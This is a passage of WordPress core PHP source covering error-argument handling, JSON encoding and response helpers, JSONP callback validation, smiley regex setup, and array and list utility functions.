	// The $title and these specific $args must always have a non-empty value.
	if ( empty( $args['code'] ) ) {
		$args['code'] = 'wp_die';
	}
	if ( empty( $args['response'] ) ) {
		$args['response'] = 500;
	}
	if ( empty( $title ) ) {
		$title = $have_gettext ? __( 'WordPress &rsaquo; Error' ) : 'WordPress &rsaquo; Error';
	}
	if ( empty( $args['text_direction'] ) || ! in_array( $args['text_direction'], array( 'ltr', 'rtl' ), true ) ) {
		$args['text_direction'] = 'ltr';
		if ( function_exists( 'is_rtl' ) && is_rtl() ) {
			$args['text_direction'] = 'rtl';
		}
	}

	if ( ! empty( $args['charset'] ) ) {
		$args['charset'] = _canonical_charset( $args['charset'] );
	}

	return array( $message, $title, $args );
}

/**
 * Encodes a variable into JSON, with some confidence checks.
 *
 * @since 4.1.0
 * @since 5.3.0 No longer handles support for PHP < 5.6.
 * @since 6.5.0 The `$data` parameter has been renamed to `$value` and
 *              the `$options` parameter to `$flags` for parity with PHP.
 *
 * @param mixed $value Variable (usually an array or object) to encode as JSON.
 * @param int   $flags Optional. Options to be passed to json_encode(). Default 0.
 * @param int   $depth Optional. Maximum depth to walk through $value. Must be
 *                     greater than 0. Default 512.
 * @return string|false The JSON encoded string, or false if it cannot be encoded.
 */
function wp_json_encode( $value, $flags = 0, $depth = 512 ) {
	$json = json_encode( $value, $flags, $depth );

	// If json_encode() was successful, no need to do more confidence checking.
	if ( false !== $json ) {
		return $json;
	}

	try {
		$value = _wp_json_sanity_check( $value, $depth );
	} catch ( Exception $e ) {
		return false;
	}

	return json_encode( $value, $flags, $depth );
}

/**
 * Performs confidence checks on data that shall be encoded to JSON.
 *
 * @ignore
 * @since 4.1.0
 * @access private
 *
 * @see wp_json_encode()
 *
 * @throws Exception If depth limit is reached.
 *
 * @param mixed $value Variable (usually an array or object) to encode as JSON.
 * @param int   $depth Maximum depth to walk through $value. Must be greater than 0.
 * @return mixed The sanitized data that shall be encoded to JSON.
 */
function _wp_json_sanity_check( $value, $depth ) {
	if ( $depth < 0 ) {
		throw new Exception( 'Reached depth limit' );
	}

	if ( is_array( $value ) ) {
		$output = array();
		foreach ( $value as $id => $el ) {
			// Don't forget to sanitize the ID!
			if ( is_string( $id ) ) {
				$clean_id = _wp_json_convert_string( $id );
			} else {
				$clean_id = $id;
			}

			// Check the element type, so that we're only recursing if we really have to.
			if ( is_array( $el ) || is_object( $el ) ) {
				$output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 );
			} elseif ( is_string( $el ) ) {
				$output[ $clean_id ] = _wp_json_convert_string( $el );
			} else {
				$output[ $clean_id ] = $el;
			}
		}
	} elseif ( is_object( $value ) ) {
		$output = new stdClass();
		foreach ( $value as $id => $el ) {
			if ( is_string( $id ) ) {
				$clean_id = _wp_json_convert_string( $id );
			} else {
				$clean_id = $id;
			}

			if ( is_array( $el ) || is_object( $el ) ) {
				$output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 );
			} elseif ( is_string( $el ) ) {
				$output->$clean_id = _wp_json_convert_string( $el );
			} else {
				$output->$clean_id = $el;
			}
		}
	} elseif ( is_string( $value ) ) {
		return _wp_json_convert_string( $value );
	} else {
		return $value;
	}

	return $output;
}

/**
 * Converts a string to UTF-8, so that it can be safely encoded to JSON.
 *
 * @ignore
 * @since 4.1.0
 * @access private
 *
 * @see _wp_json_sanity_check()
 *
 * @param string $input_string The string which is to be converted.
 * @return string The checked string.
 */
function _wp_json_convert_string( $input_string ) {
	static $use_mb = null;
	if ( is_null( $use_mb ) ) {
		$use_mb = function_exists( 'mb_convert_encoding' );
	}

	if ( $use_mb ) {
		$encoding = mb_detect_encoding( $input_string, mb_detect_order(), true );
		if ( $encoding ) {
			return mb_convert_encoding( $input_string, 'UTF-8', $encoding );
		} else {
			return mb_convert_encoding( $input_string, 'UTF-8', 'UTF-8' );
		}
	} else {
		return wp_check_invalid_utf8( $input_string, true );
	}
}

/**
 * Prepares response data to be serialized to JSON.
 *
 * This supports the JsonSerializable interface for PHP 5.2-5.3 as well.
 *
 * @ignore
 * @since 4.4.0
 * @deprecated 5.3.0 This function is no longer needed as support for PHP 5.2-5.3
 *                   has been dropped.
 * @access private
 *
 * @param mixed $value Native representation.
 * @return bool|int|float|null|string|array Data ready for `json_encode()`.
 */
function _wp_json_prepare_data( $value ) {
	_deprecated_function( __FUNCTION__, '5.3.0' );
	return $value;
}

/**
 * Sends a JSON response back to an Ajax request.
 *
 * @since 3.5.0
 * @since 4.7.0 The `$status_code` parameter was added.
 * @since 5.6.0 The `$flags` parameter was added.
 *
 * @param mixed $response    Variable (usually an array or object) to encode as JSON,
 *                           then print and die.
 * @param int   $status_code Optional. The HTTP status code to output. Default null.
 * @param int   $flags       Optional. Options to be passed to json_encode(). Default 0.
 */
function wp_send_json( $response, $status_code = null, $flags = 0 ) {
	if ( wp_is_serving_rest_request() ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: 1: WP_REST_Response, 2: WP_Error */
				__( 'Return a %1$s or %2$s object from your callback when using the REST API.' ),
				'WP_REST_Response',
				'WP_Error'
			),
			'5.5.0'
		);
	}

	if ( ! headers_sent() ) {
		header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );
		if ( null !== $status_code ) {
			status_header( $status_code );
		}
	}

	echo wp_json_encode( $response, $flags );

	if ( wp_doing_ajax() ) {
		wp_die(
			'',
			'',
			array(
				'response' => null,
			)
		);
	} else {
		die;
	}
}

/**
 * Sends a JSON response back to an Ajax request, indicating success.
 *
 * @since 3.5.0
 * @since 4.7.0 The `$status_code` parameter was added.
 * @since 5.6.0 The `$flags` parameter was added.
 *
 * @param mixed $value       Optional. Data to encode as JSON, then print and die. Default null.
 * @param int   $status_code Optional. The HTTP status code to output. Default null.
 * @param int   $flags       Optional. Options to be passed to json_encode(). Default 0.
 */
function wp_send_json_success( $value = null, $status_code = null, $flags = 0 ) {
	$response = array( 'success' => true );

	if ( isset( $value ) ) {
		$response['data'] = $value;
	}

	wp_send_json( $response, $status_code, $flags );
}

/**
 * Sends a JSON response back to an Ajax request, indicating failure.
 *
 * If the `$value` parameter is a WP_Error object, the errors
 * within the object are processed and output as an array of error
 * codes and corresponding messages. All other types are output
 * without further processing.
 *
 * @since 3.5.0
 * @since 4.1.0 The `$value` parameter is now processed if a WP_Error object is passed in.
 * @since 4.7.0 The `$status_code` parameter was added.
 * @since 5.6.0 The `$flags` parameter was added.
 *
 * @param mixed $value       Optional. Data to encode as JSON, then print and die. Default null.
 * @param int   $status_code Optional. The HTTP status code to output. Default null.
 * @param int   $flags       Optional. Options to be passed to json_encode(). Default 0.
 */
function wp_send_json_error( $value = null, $status_code = null, $flags = 0 ) {
	$response = array( 'success' => false );

	if ( isset( $value ) ) {
		if ( is_wp_error( $value ) ) {
			$result = array();
			foreach ( $value->errors as $code => $messages ) {
				foreach ( $messages as $message ) {
					$result[] = array(
						'code'    => $code,
						'message' => $message,
					);
				}
			}

			$response['data'] = $result;
		} else {
			$response['data'] = $value;
		}
	}

	wp_send_json( $response, $status_code, $flags );
}

/**
 * Checks that a JSONP callback is a valid JavaScript callback name.
 *
 * Only allows alphanumeric characters and the dot character in callback
 * function names. This helps to mitigate XSS attacks caused by directly
 * outputting user input.
 *
 * @since 4.6.0
 *
 * @param string $callback Supplied JSONP callback function name.
 * @return bool Whether the callback function name is valid.
 */
function wp_check_jsonp_callback( $callback ) {
	if ( ! is_string( $callback ) ) {
		return false;
	}

	preg_replace( '/[^\w\.]/', '', $callback, -1, $illegal_char_count );

	return 0 === $illegal_char_count;
}

/**
 * Reads and decodes a JSON file.
 *
 * @since 5.9.0
 *
 * @param string $filename Path to the JSON file.
 * @param array  $options  {
 *     Optional. Options to be used with `json_decode()`.
 *
 *     @type bool $associative Optional. When `true`, JSON objects will be returned as associative arrays.
 *                             When `false`, JSON objects will be returned as objects. Default false.
 * }
 *
 * @return mixed Returns the value encoded in JSON in appropriate PHP type.
 *               `null` is returned if the file is not found, or its content can't be decoded.
 */
function wp_json_file_decode( $filename, $options = array() ) {
	$result   = null;
	$filename = wp_normalize_path( realpath( $filename ) );

	if ( ! $filename ) {
		trigger_error(
			sprintf(
				/* translators: %s: Path to the JSON file. */
				__( "File %s doesn't exist!" ),
				$filename
			)
		);
		return $result;
	}

	$options      = wp_parse_args( $options, array( 'associative' => false ) );
	$decoded_file = json_decode( file_get_contents( $filename ), $options['associative'] );

	if ( JSON_ERROR_NONE !== json_last_error() ) {
		trigger_error(
			sprintf(
				/* translators: 1: Path to the JSON file, 2: Error message. */
				__( 'Error when decoding a JSON file at path %1$s: %2$s' ),
				$filename,
				json_last_error_msg()
			)
		);
		return $result;
	}

	return $decoded_file;
}

/**
 * Retrieves the WordPress home page URL.
 *
 * If the constant named 'WP_HOME' exists, then it will be used and returned
 * by the function. This can be used to counter the redirection on your local
 * development environment.
 *
 * @since 2.2.0
 * @access private
 *
 * @see WP_HOME
 *
 * @param string $url URL for the home location.
 * @return string Homepage location.
 */
function _config_wp_home( $url = '' ) {
	if ( defined( 'WP_HOME' ) ) {
		return untrailingslashit( WP_HOME );
	}
	return $url;
}

/**
 * Retrieves the WordPress site URL.
 *
 * If the constant named 'WP_SITEURL' is defined, then the value in that
 * constant will always be returned. This can be used for debugging a site
 * on your localhost while not having to change the database to your URL.
 *
 * @since 2.2.0
 * @access private
 *
 * @see WP_SITEURL
 *
 * @param string $url URL to set the WordPress site location.
 * @return string The WordPress site URL.
 */
function _config_wp_siteurl( $url = '' ) {
	if ( defined( 'WP_SITEURL' ) ) {
		return untrailingslashit( WP_SITEURL );
	}
	return $url;
}

/**
 * Deletes the fresh site option.
 *
 * @since 4.7.0
 * @access private
 */
function _delete_option_fresh_site() {
	update_option( 'fresh_site', '0' );
}

/**
 * Sets the localized direction for MCE plugin.
 *
 * Will only set the direction to 'rtl', if the WordPress locale has
 * the text direction set to 'rtl'.
 *
 * Fills in the 'directionality' setting, enables the 'directionality'
 * plugin, and adds the 'ltr' button to 'toolbar1', formerly
 * 'theme_advanced_buttons1' array keys. These keys are then returned
 * in the $mce_init (TinyMCE settings) array.
 *
 * @since 2.1.0
 * @access private
 *
 * @param array $mce_init MCE settings array.
 * @return array Direction set for 'rtl', if needed by locale.
 */
function _mce_set_direction( $mce_init ) {
	if ( is_rtl() ) {
		$mce_init['directionality'] = 'rtl';
		$mce_init['rtl_ui']         = true;

		if ( ! empty( $mce_init['plugins'] ) && ! str_contains( $mce_init['plugins'], 'directionality' ) ) {
			$mce_init['plugins'] .= ',directionality';
		}

		if ( ! empty( $mce_init['toolbar1'] ) && ! preg_match( '/\bltr\b/', $mce_init['toolbar1'] ) ) {
			$mce_init['toolbar1'] .= ',ltr';
		}
	}

	return $mce_init;
}

/**
 * Determines whether WordPress is currently serving a REST API request.
 *
 * The function relies on the 'REST_REQUEST' global. As such, it only returns true when an actual REST _request_ is
 * being made. It does not return true when a REST endpoint is hit as part of another request, e.g. for preloading a
 * REST response. See {@see wp_is_rest_endpoint()} for that purpose.
 *
 * This function should not be called until the {@see 'parse_request'} action, as the constant is only defined then,
 * even for an actual REST request.
 *
 * @since 6.5.0
 *
 * @return bool True if it's a WordPress REST API request, false otherwise.
 */
function wp_is_serving_rest_request() {
	return defined( 'REST_REQUEST' ) && REST_REQUEST;
}

/**
 * Converts smiley code to the icon graphic file equivalent.
 *
 * You can turn off smilies, by going to the write setting screen and unchecking
 * the box, or by setting 'use_smilies' option to false or removing the option.
 *
 * Plugins may override the default smiley list by setting the $wpsmiliestrans
 * to an array, with the key the code the blogger types in and the value the
 * image file.
 *
 * The $wp_smiliessearch global is for the regular expression and is set each
 * time the function is called.
 *
 * The full list of smilies can be found in the function and won't be listed in
 * the description. Probably should create a Codex page for it, so that it is
 * available.
 *
 * @global array $wpsmiliestrans
 * @global array $wp_smiliessearch
 *
 * @since 2.2.0
 */
function smilies_init() {
	global $wpsmiliestrans, $wp_smiliessearch;

	// Don't bother setting up smilies if they are disabled.
	if ( ! get_option( 'use_smilies' ) ) {
		return;
	}

	if ( ! isset( $wpsmiliestrans ) ) {
		$wpsmiliestrans = array(
			':mrgreen:' => 'mrgreen.png',
			':neutral:' => "\xf0\x9f\x98\x90",
			':twisted:' => "\xf0\x9f\x98\x88",
			':arrow:'   => "\xe2\x9e\xa1",
			':shock:'   => "\xf0\x9f\x98\xaf",
			':smile:'   => "\xf0\x9f\x99\x82",
			':???:'     => "\xf0\x9f\x98\x95",
			':cool:'    => "\xf0\x9f\x98\x8e",
			':evil:'    => "\xf0\x9f\x91\xbf",
			':grin:'    => "\xf0\x9f\x98\x80",
			':idea:'    => "\xf0\x9f\x92\xa1",
			':oops:'    => "\xf0\x9f\x98\xb3",
			':razz:'    => "\xf0\x9f\x98\x9b",
			':roll:'    => "\xf0\x9f\x99\x84",
			':wink:'    => "\xf0\x9f\x98\x89",
			':cry:'     => "\xf0\x9f\x98\xa5",
			':eek:'     => "\xf0\x9f\x98\xae",
			':lol:'     => "\xf0\x9f\x98\x86",
			':mad:'     => "\xf0\x9f\x98\xa1",
			':sad:'     => "\xf0\x9f\x99\x81",
			'8-)'       => "\xf0\x9f\x98\x8e",
			'8-O'       => "\xf0\x9f\x98\xaf",
			':-('       => "\xf0\x9f\x99\x81",
			':-)'       => "\xf0\x9f\x99\x82",
			':-?'       => "\xf0\x9f\x98\x95",
			':-D'       => "\xf0\x9f\x98\x80",
			':-P'       => "\xf0\x9f\x98\x9b",
			':-o'       => "\xf0\x9f\x98\xae",
			':-x'       => "\xf0\x9f\x98\xa1",
			':-|'       => "\xf0\x9f\x98\x90",
			';-)'       => "\xf0\x9f\x98\x89",
			// This one transformation breaks regular text with frequency.
			//     '8)' => "\xf0\x9f\x98\x8e",
			'8O'        => "\xf0\x9f\x98\xaf",
			':('        => "\xf0\x9f\x99\x81",
			':)'        => "\xf0\x9f\x99\x82",
			':?'        => "\xf0\x9f\x98\x95",
			':D'        => "\xf0\x9f\x98\x80",
			':P'        => "\xf0\x9f\x98\x9b",
			':o'        => "\xf0\x9f\x98\xae",
			':x'        => "\xf0\x9f\x98\xa1",
			':|'        => "\xf0\x9f\x98\x90",
			';)'        => "\xf0\x9f\x98\x89",
			':!:'       => "\xe2\x9d\x97",
			':?:'       => "\xe2\x9d\x93",
		);
	}

	/**
	 * Filters all the smilies.
	 *
	 * This filter must be added before `smilies_init` is run, as
	 * it is normally only run once to setup the smilies regex.
	 *
	 * @since 4.7.0
	 *
	 * @param string[] $wpsmiliestrans List of the smilies' hexadecimal representations, keyed by their smily code.
	 */
	$wpsmiliestrans = apply_filters( 'smilies', $wpsmiliestrans );

	if ( count( $wpsmiliestrans ) === 0 ) {
		return;
	}

	/*
	 * NOTE: we sort the smilies in reverse key order. This is to make sure
	 * we match the longest possible smilie (:???: vs :?) as the regular
	 * expression used below is first-match
	 */
	krsort( $wpsmiliestrans );

	$spaces = wp_spaces_regexp();

	// Begin first "subpattern".
	$wp_smiliessearch = '/(?<=' . $spaces . '|^)';

	$subchar = '';
	foreach ( (array) $wpsmiliestrans as $smiley => $img ) {
		$firstchar = substr( $smiley, 0, 1 );
		$rest      = substr( $smiley, 1 );

		// New subpattern?
		if ( $firstchar !== $subchar ) {
			if ( '' !== $subchar ) {
				$wp_smiliessearch .= ')(?=' . $spaces . '|$)';  // End previous "subpattern".
				$wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; // Begin another "subpattern".
			}

			$subchar           = $firstchar;
			$wp_smiliessearch .= preg_quote( $firstchar, '/' ) . '(?:';
		} else {
			$wp_smiliessearch .= '|';
		}

		$wp_smiliessearch .= preg_quote( $rest, '/' );
	}

	$wp_smiliessearch .= ')(?=' . $spaces . '|$)/m';
}

/**
 * Merges user defined arguments into defaults array.
 *
 * This function is used throughout WordPress to allow for both string or array
 * to be merged into another array.
 *
 * @since 2.2.0
 * @since 2.3.0 `$args` can now also be an object.
 *
 * @param string|array|object $args     Value to merge with $defaults.
 * @param array               $defaults Optional. Array that serves as the defaults.
 *                                      Default empty array.
 * @return array Merged user defined values with defaults.
 */
function wp_parse_args( $args, $defaults = array() ) {
	if ( is_object( $args ) ) {
		$parsed_args = get_object_vars( $args );
	} elseif ( is_array( $args ) ) {
		$parsed_args =& $args;
	} else {
		wp_parse_str( $args, $parsed_args );
	}

	if ( is_array( $defaults ) && $defaults ) {
		return array_merge( $defaults, $parsed_args );
	}
	return $parsed_args;
}

/**
 * Converts a comma- or space-separated list of scalar values to an array.
 *
 * @since 5.1.0
 *
 * @param array|string $input_list List of values.
 * @return array Array of values.
 */
function wp_parse_list( $input_list ) {
	if ( ! is_array( $input_list ) ) {
		return preg_split( '/[\s,]+/', $input_list, -1, PREG_SPLIT_NO_EMPTY );
	}

	// Validate all entries of the list are scalar.
	$input_list = array_filter( $input_list, 'is_scalar' );

	return $input_list;
}

/**
 * Cleans up an array, comma- or space-separated list of IDs.
 *
 * @since 3.0.0
 * @since 5.1.0 Refactored to use wp_parse_list().
 *
 * @param array|string $input_list List of IDs.
 * @return int[] Sanitized array of IDs.
 */
function wp_parse_id_list( $input_list ) {
	$input_list = wp_parse_list( $input_list );

	return array_unique( array_map( 'absint', $input_list ) );
}

/**
 * Cleans up an array, comma- or space-separated list of slugs.
 *
 * @since 4.7.0
 * @since 5.1.0 Refactored to use wp_parse_list().
 *
 * @param array|string $input_list List of slugs.
 * @return string[] Sanitized array of slugs.
 */
function wp_parse_slug_list( $input_list ) {
	$input_list = wp_parse_list( $input_list );

	return array_unique( array_map( 'sanitize_title', $input_list ) );
}

/**
 * Extracts a slice of an array, given a list of keys.
 *
 * @since 3.1.0
 *
 * @param array $input_array The original array.
 * @param array $keys        The list of keys.
 * @return array The array slice.
 */
function wp_array_slice_assoc( $input_array, $keys ) {
	$slice = array();

	foreach ( $keys as $key ) {
		if ( isset( $input_array[ $key ] ) ) {
			$slice[ $key ] = $input_array[ $key ];
		}
	}

	return $slice;
}

/**
 * Sorts the keys of an array alphabetically.
 *
 * The array is passed by reference so it doesn't get returned
 * which mimics the behavior of `ksort()`.
 *
 * @since 6.0.0
 *
 * @param array $input_array The array to sort, passed by reference.
 */
function wp_recursive_ksort( &$input_array ) {
	foreach ( $input_array as &$value ) {
		if ( is_array( $value ) ) {
			wp_recursive_ksort( $value );
		}
	}

	ksort( $input_array );
}

/**
 * Accesses an array in depth based on a path of keys.
 *
 * It is the PHP equivalent of JavaScript's `lodash.get()` and mirroring it may help other components
 * retain some symmetry between client and server implementations.
 *
 * Example usage:
 *
 *     $input_array = array(
 *         'a' => array(
 *             'b' => array(
 *                 'c' => 1,
 *             ),
 *         ),
 *     );
 *     _wp_array_get( $input_array, array( 'a', 'b', 'c' ) );
 *
 * @internal
 *
 * @since 5.6.0
 * @access private
 *
 * @param array $input_array   An array from which we want to retrieve some information.
 * @param array $path          An array of keys describing the path with which to retrieve information.
 * @param mixed $default_value Optional. The return value if the path does not exist within the array,
 *                             or if `$input_array` or `$path` are not arrays. Default null.
 * @return mixed The value from the path specified.
 */
function _wp_array_get( $input_array, $path, $default_value = null ) {
	// Confirm $path is valid.
	if ( ! is_array( $path ) || 0 === count( $path ) ) {
		return $default_value;
	}

	foreach ( $path as $path_element ) {
		if ( ! is_array( $input_array ) ) {
			return $default_value;
		}

		if ( is_string( $path_element )
			|| is_integer( $path_element )
			|| null === $path_element
		) {
			/*
			 * Check if the path element exists in the input array.
			 * We check with `isset()` first, as it is a lot faster
			 * than `array_key_exists()`.
			 */
			if ( isset( $input_array[ $path_element ] ) ) {
				$input_array = $input_array[ $path_element ];
				continue;
			}

			/*
			 * If `isset()` returns false, we check with `array_key_exists()`,
			 * which also checks for `null` values.
			 */
			if ( array_key_exists( $path_element, $input_array ) ) {
				$input_array = $input_array[ $path_element ];
				continue;
			}
		}

		return $default_value;
	}

	return $input_array;
}

/**
 * Sets an array in depth based on a path of keys.
 *
 * It is the PHP equivalent of JavaScript's `lodash.set()` and mirroring it may help other components
 * retain some symmetry between client and server implementations.
 *
 * Example usage:
 *
 *     $input_array = array();
 *     _wp_array_set( $input_array, array( 'a', 'b', 'c', 1 ) );
 *
 *     $input_array becomes:
 *     array(
 *         'a' => array(
 *             'b' => array(
 *                 'c' => 1,
 *             ),
 *         ),
 *     );
 *
 * @internal
 *
 * @since 5.8.0
 * @access private
 *
 * @param array $input_array An array that we want to mutate to include a specific value in a path.
 * @param array $path        An array of keys describing the path that we want to mutate.
 * @param mixed $value       The value that will be set.
 */
function _wp_array_set( &$input_array, $path, $value = null ) {
	// Confirm $input_array is valid.
	if ( ! is_array( $input_array ) ) {
		return;
	}

	// Confirm $path is valid.
	if ( ! is_array( $path ) ) {
		return;
	}

	$path_length = count( $path );

	if ( 0 === $path_length ) {
		return;
	}

	foreach ( $path as $path_element ) {
		if (
			! is_string( $path_element ) && ! is_integer( $path_element ) &&
			! is_null( $path_element )
		) {
			return;
		}
	}

	for ( $i = 0; $i < $path_length - 1; ++$i ) {
		$path_element = $path[ $i ];
		if (
			! array_key_exists( $path_element, $input_array ) ||
			! is_array( $input_array[ $path_element ] )
		) {
			$input_array[ $path_element ] = array();
		}
		$input_array = &$input_array[ $path_element ];
	}

	$input_array[ $path[ $i ] ] = $value;
}

/**
 * This function is trying to replicate what
 * lodash's kebabCase (JS library) does in the client.
 *
 * The reason we need this function is that we do some processing
 * in both the client and the server (e.g.: we generate
 * preset classes from preset slugs) that needs to
 * create the same output.
 *
 * We can't remove or update the client's library due to backward compatibility
 * (some of the output of lodash's kebabCase is saved in the post content).
 * We have to make the server behave like the client.
 *
 * Changes to this function should follow updates in the client
 * with the same logic.
 *
 * @link https://github.com/lodash/lodash/blob/4.17/dist/lodash.js#L14369
 * @link https://github.com/lodash/lodash/blob/4.17/dist/lodash.js#L278
 * @link https://github.com/lodash-php/lodash-php/blob/master/src/String/kebabCase.php
 * @link https://github.com/lodash-php/lodash-php/blob/master/src/internal/unicodeWords.php
 *
 * @param string $input_string The string to kebab-case.
 *
 * @return string kebab-cased-string.
 */
function _wp_to_kebab_case( $input_string ) {
	// Ignore the camelCase names for variables so the names are the same as lodash so comparing and porting new changes is easier.
	// phpcs:disable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase

	/*
	 * Some notable things we've removed compared to the lodash version are:
	 *
	 * - non-alphanumeric characters: rsAstralRange, rsEmoji, etc
	 * - the groups that processed the apostrophe, as it's removed before passing the string to preg_match: rsApos, rsOptContrLower, and rsOptContrUpper
	 *
	 */

	/** Used to compose unicode character classes. */
	$rsLowerRange       = 'a-z\\xdf-\\xf6\\xf8-\\xff';
	$rsNonCharRange     = '\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf';
	$rsPunctuationRange = '\\x{2000}-\\x{206f}';
	$rsSpaceRange       = ' \\t\\x0b\\f\\xa0\\x{feff}\\n\\r\\x{2028}\\x{2029}\\x{1680}\\x{180e}\\x{2000}\\x{2001}\\x{2002}\\x{2003}\\x{2004}\\x{2005}\\x{2006}\\x{2007}\\x{2008}\\x{2009}\\x{200a}\\x{202f}\\x{205f}\\x{3000}';
	$rsUpperRange       = 'A-Z\\xc0-\\xd6\\xd8-\\xde';
	$rsBreakRange       = $rsNonCharRange . $rsPunctuationRange . $rsSpaceRange;

	/** Used to compose unicode capture groups. */
	$rsBreak  = '[' . $rsBreakRange . ']';
	$rsDigits = '\\d+'; // The last lodash version in GitHub uses a single digit here and expands it when in use.
	$rsLower  = '[' . $rsLowerRange . ']';
	$rsMisc   = '[^' . $rsBreakRange . $rsDigits . $rsLowerRange . $rsUpperRange . ']';
	$rsUpper  = '[' . $rsUpperRange . ']';

	/** Used to compose unicode regexes. */
	$rsMiscLower = '(?:' . $rsLower . '|' . $rsMisc . ')';
	$rsMiscUpper = '(?:' . $rsUpper . '|' . $rsMisc . ')';
	$rsOrdLower  = '\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])';
	$rsOrdUpper  = '\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])';

	$regexp = '/' . implode(
		'|',
		array(
			$rsUpper . '?' . $rsLower . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper, '$' ) ) . ')',
			$rsMiscUpper . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper . $rsMiscLower, '$' ) ) . ')',
			$rsUpper . '?' . $rsMiscLower . '+',
			$rsUpper . '+',
			$rsOrdUpper,
			$rsOrdLower,
			$rsDigits,
		)
	) . '/u';

	preg_match_all( $regexp, str_replace( "'", '', $input_string ), $matches );
	return strtolower( implode( '-', $matches[0] ) );
	// phpcs:enable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase
}

/**
 * Determines if the variable is a numeric-indexed array.
 *
 * @since 4.4.0
 *
 * @param mixed $data Variable to check.
 * @return bool Whether the variable is a list.
 */
function wp_is_numeric_array( $data ) {
	if ( ! is_array( $data ) ) {
		return false;
	}

	$keys        = array_keys( $data );
	$string_keys = array_filter( $keys, 'is_string' );

	return count( $string_keys ) === 0;
}

/**
 * Filters a list of objects, based on a set of key => value arguments.
 *
 * Retrieves the objects from the list that match the given arguments.
 * Key represents property name, and value represents property value.
 *
 * If an object has more properties than those specified in arguments,
 * that will not disqualify it. When using the 'AND' operator,
 * any missing properties will disqualify it.
 *
 * When using the `$field` argument, this function can also retrieve
 * a particular field from all matching objects, whereas wp_list_filter()
 * only does the filtering.
 *
 * @since 3.0.0
 * @since 4.7.0 Uses `WP_List_Util` class.
 *
 * @param array       $input_list An array of objects to filter.
 * @param array       $args       Optional. An array of key => value arguments to match
 *                                against each object. Default empty array.
 * @param string      $operator   Optional. The logical operation to perform. 'AND' means
 *                                all elements from the array must match. 'OR' means only
 *                                one element needs to match. 'NOT' means no elements may
 *                                match. Default 'AND'.
 * @param bool|string $field      Optional. A field from the object to place instead
 *                                of the entire object. Default false.
 * @return array A list of objects or object fields.
 */
function wp_filter_object_list( $input_list, $args = array(), $operator = 'and', $field = false ) {
	if ( ! is_array( $input_list ) ) {
		return array();
	}

	$util = new WP_List_Util( $input_list );

	$util->filter( $args, $operator );

	if ( $field ) {
		$util->pluck( $field );
	}

	return $util->get_output();
}

/**
 * Filters a list of objects, based on a set of key => value arguments.
 *
 * Retrieves the objects from the list that match the given arguments.
 * Key represents property name, and value represents property value.
 *
 * If an object has more properties than those specified in arguments,
 * that will not disqualify it. When using the 'AND' operator,
 * any missing properties will disqualify it.
 *
 * If you want to retrieve a particular field from all matching objects,
 * use wp_filter_object_list() instead.
 *
 * @since 3.1.0
 * @since 4.7.0 Uses `WP_List_Util` class.
 * @since 5.9.0 Converted into a wrapper for `wp_filter_object_list()`.
 *
 * @param array  $input_list An array of objects to filter.
 * @param array  $args       Optional. An array of key => value arguments to match
 *                           against each object. Default empty array.
 * @param string $operator   Optional. The logical operation to perform. 'AND' means
 *                           all elements from the array must match. 'OR' means only
 *                           one element needs to match. 'NOT' means no elements may
 *                           match. Default 'AND'.
 * @return array Array of found values.
 */
function wp_list_filter( $input_list, $args = array(), $operator = 'AND' ) {
	return wp_filter_object_list( $input_list, $args, $operator );
}

/**
 * Plucks a certain field out of each object or array in an array.
 *
 * This has the same functionality and prototype of
 * array_column() (PHP 5.5) but also supports objects.
 *
 * @since 3.1.0
 * @since 4.0.0 $index_key parameter added.
 * @since 4.7.0 Uses `WP_List_Util` class.
 *
 * @param array      $input_list List of objects or arrays.
 * @param int|string $field      Field from the object to place instead of the entire object.
 * @param int|string $index_key  Optional. Field from the object to use as keys for the new array.
 *                               Default null.
 * @return array Array of found values. If `$index_key` is set, an array of found values with keys
 *               corresponding to `$index_key`. If `$index_key` is null, array keys from the original
 *               `$input_list` will be preserved in the results.
 */
function wp_list_pluck( $input_list, $field, $index_key = null ) {
	if ( ! is_array( $input_list ) ) {
		return array();
	}

	$util = new WP_List_Util( $input_list );

	return $util->pluck( $field, $index_key );
}

/**
 * Sorts an array of objects or arrays based on one or more orderby arguments.
 *
 * @since 4.7.0
 *
 * @param array        $input_list    An array of objects or arrays to sort.
 * @param string|array $orderby       Optional. Either the field name to order by or an array
 *                                    of multiple orderby fields as `$orderby => $order`.
 *                                    Default empty array.
 * @param string       $order         Optional. Either 'ASC' or 'DESC'. Only used if `$orderby`
 *                                    is a string. Default 'ASC'.
 * @param bool         $preserve_keys Optional. Whether to preserve keys. Default false.
 * @return array The sorted array.
 */
function wp_list_sort( $input_list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
	if ( ! is_array( $input_list ) ) {
		return array();
	}

	$util = new WP_List_Util( $input_list );

	return $util->sort( $orderby, $order, $preserve_keys );
}

/**
 * Determines if Widgets library should be loaded.
 *
 * Checks to make sure that the widgets library hasn't already been loaded.
 * If it hasn't, then it will load the widgets library and run an action hook.
 *
 * @since 2.2.0
 */
function wp_maybe_load_widgets() {
	/**
	 * Filters whether to load the Widgets library.
	 *
	 * Returning a falsey value from the filter will effectively short-circuit
	 * the Widgets library from loading.
	 *
	 * @since 2.8.0
	 *
	 * @param bool $wp_maybe_load_widgets Whether to load the Widgets library.
	 *                                    Default true.
	 */
	if ( ! apply_filters( 'load_default_widgets', true ) ) {
		return;
	}

	require_once ABSPATH . WPINC . '/default-widgets.php';

	add_action( '_admin_menu', 'wp_widgets_add_menu' );
}

/**
 * Appends the Widgets menu to the themes main menu.
 *
 * @since 2.2.0
 * @since 5.9.3 Don't specify menu order when the active theme is a block theme.
 *
 * @global array $submenu
 */
function wp_widgets_add_menu() {
	global $submenu;

	if ( ! current_theme_supports( 'widgets' ) ) {
		return;
	}

	$menu_name = __( 'Widgets' );
	if ( wp_is_block_theme() || current_theme_supports( 'block-template-parts' ) ) {
